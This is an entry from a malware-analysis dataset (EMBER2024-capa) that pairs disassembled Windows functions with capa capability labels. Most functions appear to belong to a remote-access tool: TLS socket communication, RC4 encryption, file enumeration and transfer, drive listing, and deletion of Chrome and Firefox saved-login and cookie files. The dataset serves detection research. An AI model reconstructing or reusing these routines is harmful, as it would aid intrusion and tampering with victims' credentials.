joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48d400
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4abef0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov al, byte [esp + 0x3c]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x44]
push ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x28], al
mov edx, dword [ecx]
lea ecx, [esp + 0x28]
mov dword [esp + 0x24], edx
call fcn.00482608
mov eax, dword [0x4d6ad0]
lea ecx, [esp + 0x10]
push eax
push ebx
push ecx
lea ecx, [esp + 0x30]
call fcn.0048253a
lea edx, [esp + 0x20]
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x44], 1
call fcn.0048dec0
mov esi, dword [eax]
mov ecx, dword [eax + 4]
mov eax, dword [esp + 0x28]
cmp eax, ebx
mov dword [esp + 0xc], ecx
je 0x48d4a7
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x48d49e
cmp al, 0xff
je 0x48d49e
dec al
mov byte [ecx], al
jmp 0x48d4a7
push ecx
call fcn.00497428
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp + 0x28], ebx
cmp eax, ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
je 0x48d4d8
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x48d4cf
cmp al, 0xff
je 0x48d4cf
dec al
mov byte [ecx], al
jmp 0x48d4d8
push ecx
call fcn.00497428
add esp, 4
mov ecx, dword [esp + 0x34]
lea eax, [esi + 0x10]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret 4
Function at 0x498504
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.004a267d
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x498535
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.00498548
pop edi
pop esi
pop ebx
ret 8

Function at 0x499b1c
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x499b54
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00497b65
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00497b3d
jmp 0x499b60
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x49b40c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x49b44e
call fcn.004a267d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x49b44e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x49b445
xor eax, eax
jmp 0x49b456
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0049b45c
pop edi
pop esi
pop ebx
ret 4

Function at 0x4a2bad
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4a2bdb
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4a2bf9
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004a2b13
jmp 0x4a2bf9
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4a2bf9
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004a2b13
test edi, edi
mov eax, edi
jne 0x4a2be3
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4016fe
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x464a58]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x401851
cmp byte [edi + 1], al
je 0x40184d
cmp byte [edi + 0x31], al
je 0x40175c
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.00402a81
sub esp, 0x14
mov ecx, esp
push 0x458420
call fcn.00402168
call fcn.00412d34
add esp, 0x30
call fcn.00418021
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x401777
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x4018b1
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.00418245
cmp eax, 1
je 0x4017bd
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402168
sub esp, 0x18
mov ecx, esp
push 0x458384
call fcn.00402168
call fcn.00412d34
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.00418067
and dword [edi + 0x4c], 0
jmp 0x4018cd
mov ecx, dword [edi + 0x4c]
call fcn.00418d25
cmp eax, 1
je 0x4017fa
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00402168
sub esp, 0x18
mov ecx, esp
push 0x458384
call fcn.00402168
call fcn.00412d34
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.0041846e
jmp 0x4017ac
mov ecx, dword [edi + 0x4c]
call fcn.004181bc
mov dword [edi + 0x50], eax
test eax, eax
jne 0x40182f
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402168
sub esp, 0x18
mov ecx, esp
push 0x458384
call fcn.00402168
call fcn.00412d34
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x4018cf
cmp byte [edi + 0x31], 0
je 0x4018cd
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x4018cd
sub ecx, 0x17
je 0x4018a7
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00413de3
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.00402a5d
sub esp, 0x14
mov ecx, esp
push 0x458384
call fcn.00402168
call fcn.00412d34
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00402081
jmp 0x4018cd
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402168
sub esp, 0x18
mov ecx, esp
push 0x458384
call fcn.00402168
call fcn.00412d34
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4018d7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.00402010
xor ebx, ebx
lea ecx, [ebp - 0x1c]
push ebx
push 0xc
lea esi, [eax + 4]
call fcn.0040213e
push ebx
lea ecx, [ebp - 0x1c]
call fcn.0040201d
mov ecx, dword [edi + 0x2c]
push 4
mov dword [eax], ecx
lea ecx, [ebp - 0x1c]
call fcn.0040201d
push 8
lea ecx, [ebp - 0x1c]
mov dword [eax], esi
call fcn.0040201d
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040205e
cmp byte [edi + 1], bl
jne 0x401954
push ebx
lea ecx, [ebp - 0x1c]
call fcn.00402010
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402018
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x40198f
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00402010
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402018
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.004183f6
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x1c]
call fcn.00402081
lea ecx, [ebp + 0xc]
call fcn.00402081
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x4019aa
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x4019e3
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp + 8]
push ecx
push dword [ebp + 0xc]
mov ecx, dword [edi + 0x4c]
call fcn.00418432
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x4019f4
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
pop ecx
pop ebp
ret 0xc

Function at 0x4019fb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x401a1a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret 4
Function at 0x401adf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 8], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x28]
push edi
mov dword [ebp - 0x10], esi
and dword [esi + 0x54], 0
call fcn.004021b9
mov edi, dword [ebp + 8]
lea eax, [esi + 0x58]
push eax
lea eax, [ebp - 8]
mov ecx, edi
push eax
call fcn.00402018
push eax
mov ecx, esi
call fcn.00401d16
test al, al
je 0x401c2e
movzx eax, byte [esi + 0x30]
mov ecx, edi
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
add ebx, eax
call fcn.00402010
cmp ebx, eax
jbe 0x401b52
mov ecx, edi
mov bl, 1
call fcn.00402010
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
mov edi, dword [ebp + 8]
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x401b54
xor bl, bl
test bl, bl
jne 0x401c2e
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 0x40]
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
call fcn.00401ff6
push eax
lea ecx, [ebp - 0x28]
call fcn.0040208b
lea ecx, [ebp - 0x40]
call fcn.00402081
push dword [ebp - 8]
lea eax, [ebp - 0x40]
push 0
push eax
lea ecx, [ebp - 0x28]
call fcn.00401ff6
push eax
lea ecx, [ebp - 0x28]
call fcn.0040208b
lea ecx, [ebp - 0x40]
call fcn.00402081
cmp byte [ebp + 0x10], 0
lea eax, [ebp - 0x28]
jne 0x401bbd
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004021d0
push esi
call dword [ebp + 0xc]
add esp, 0x1c
jmp 0x401bf9
push eax
lea ecx, [esi + 0xc]
call fcn.00402067
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [ebp + 0xc]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, edi
push 0xffffffffffffffff
add eax, ebx
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00401ff6
push eax
mov ecx, edi
call fcn.0040208b
lea ecx, [ebp - 0x40]
call fcn.00402081
mov ecx, edi
call fcn.00402010
test eax, eax
lea eax, [esi + 0x58]
jne 0x401b03
lea ecx, [ebp - 0x28]
call fcn.00402081
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401d5f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x401df8
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x401d82
mov byte [esi + 0x7c], 1
jmp 0x401dce
cmp byte [0x464a81], 0
je 0x401dce
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.004132bd
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.00402a5d
sub esp, 0x14
mov ecx, esp
push 0x458420
call fcn.00402168
call fcn.00412d34
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00402081
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x401f5e
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x401dfa
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x403f98
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x45ea00]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x403fa4
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x403fe8
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x403fc5
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x404007
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor edx, edx
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x400]
mov ecx, 0x100
mov ebx, edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
mov edi, edx
add esi, 1
je 0x40409f
inc edx
and edx, 0x800000ff
jns 0x404041
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x400]
add ebx, eax
and ebx, 0x800000ff
jns 0x40405a
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, al
mov eax, dword [ebp + ebx*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x400], eax
mov ecx, dword [ebp + edx*4 - 0x400]
add ecx, eax
and ecx, 0x800000ff
jns 0x40408d
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x400]
mov ecx, dword [ebp + 8]
xor byte [edi + ecx], al
inc edi
cmp edi, esi
jb 0x404030
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x40449e
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
lea ecx, [ebp + 8]
push ebx
push esi
push eax
call fcn.00404386
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4044e4
sub esp, 0x18
lea edx, [ebp + 8]
mov ecx, esp
call fcn.0041344f
push 0x54
mov ecx, 0x466d50
call fcn.004018d7
jmp 0x4045a5
lea ecx, [ebp - 0x18]
call fcn.004021b9
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x30]
call fcn.004034f9
mov edx, 0x4585a4
mov ecx, eax
call fcn.00406287
lea ecx, [ebp - 0x30]
mov bl, al
call fcn.004034ef
test bl, bl
je 0x404571
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040218f
push eax
lea ecx, [ebp - 0x18]
call fcn.0040208b
lea ecx, [ebp - 0x30]
jmp 0x40456c
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040218f
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406309
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040208b
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x48]
call fcn.00402081
lea eax, [ebp - 0x298]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404537
sub esp, 0x18
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.004021d0
push 0x50
mov ecx, 0x466d50
call fcn.004018d7
lea ecx, [ebp - 0x18]
call fcn.00402081
lea ecx, [ebp + 8]
call fcn.004034ef
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4045b3
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186ec
call fcn.00449a30
push ebx
push esi
mov esi, ecx
lea edx, [ebp + 0x10]
push edi
xorps xmm0, xmm0
mov dword [ebp - 0xc], esi
xor ebx, ebx
movlpd qword [ebp - 8], xmm0
push 0x4585a8
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], ebx
call fcn.0040632d
pop ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00405cf2
lea ecx, [ebp - 0x44]
call fcn.004034ef
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [ebp - 0x2c]
call fcn.00404386
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ecx
ja 0x40468d
mov edi, dword [ebp + 8]
jb 0x404627
cmp dword [ebp - 8], edi
jae 0x40468d
push ecx
push 0x186a0
lea eax, [ebp - 0x186e8]
mov ecx, esi
push eax
call fcn.004019aa
mov esi, eax
cdq
add dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push ebx
adc dword [ebp - 4], edx
push eax
push esi
lea eax, [ebp - 0x186e8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [ebp - 8]
mov ecx, esp
push 8
push eax
call fcn.0040218f
mov ecx, dword [ebp - 0xc]
push 0x57
call fcn.004018d7
test esi, esi
jle 0x4046c7
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jb 0x404627
ja 0x40468a
cmp dword [ebp - 8], edi
jb 0x404627
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.00404386
push eax
lea ecx, [ebp - 0x2c]
call fcn.00404386
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [ebp - 0x2c]
call fcn.004034ef
lea ecx, [ebp + 0x10]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2c]
call fcn.00404386
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x4046ae

Function at 0x4046e1
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004021b9
lea ecx, [ebp + 8]
call fcn.00402018
mov edi, eax
jmp 0x404768
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.004369b8
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402168
mov ecx, eax
call fcn.00402018
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.00406395
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.004063d9
pop ecx
push eax
mov ecx, esi
call fcn.0040208b
lea ecx, [ebp - 0x1c]
call fcn.00402081
lea ecx, [ebp - 0x34]
call fcn.00402081
lea ecx, [ebp - 0x4c]
call fcn.00402081
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x4046fc
lea ecx, [ebp + 8]
call fcn.00402081
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4076c7
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x458744
call fcn.0043151d
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402168
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00406371
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x18]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40772e
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x407722
sub eax, 1
je 0x407722
xor bl, bl
jmp 0x407747
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x407738
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402168
call fcn.00407e6f
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402081
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407756
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x458744
call fcn.0043151d
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402168
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00406371
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x18]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4077bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x4077b1
sub eax, 1
je 0x4077b1
xor bl, bl
jmp 0x4077d6
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x4077c7
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402168
call fcn.00407e6f
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402081
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4077e5
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004021b9
lea ecx, [ebp - 0x48]
call fcn.004021b9
lea ecx, [ebp - 0x18]
call fcn.004021b9
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402168
push eax
push 0x458744
call fcn.0043151d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402a5d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040208b
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x78]
call fcn.00402081
lea eax, [ebp - 0x1d0]
push eax
push 0x458704
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406395
pop ecx
mov ecx, eax
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00402081
cmp esi, 0xffffffff
jne 0x4079ad
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402168
call fcn.00407e6f
add esp, 0x18
jmp 0x4079e1
test byte [ebp - 0x1d0], 0x10
je 0x4079ad
lea ecx, [ebp - 0x1a4]
cmp byte [ecx], 0x2e
jne 0x4078c4
movzx eax, byte [ecx + 1]
test al, al
je 0x4079ad
lea edx, [ebp - 0x1a4]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edx, 0x458864
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x1a4]
jne 0x4078ea
inc ecx
cmp ecx, 3
jne 0x4078cc
xor eax, eax
jmp 0x4078ef
sbb eax, eax
or eax, 1
test eax, eax
je 0x4079ad
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406395
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00406371
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.0040208b
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x90]
call fcn.00402081
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406395
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00406371
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.0040208b
lea ecx, [ebp - 0x90]
call fcn.00402081
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x60]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407994
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4079ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4078a0
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402168
call fcn.00407e6f
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00402081
lea ecx, [ebp - 0x48]
call fcn.00402081
lea ecx, [ebp - 0x60]
call fcn.00402081
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret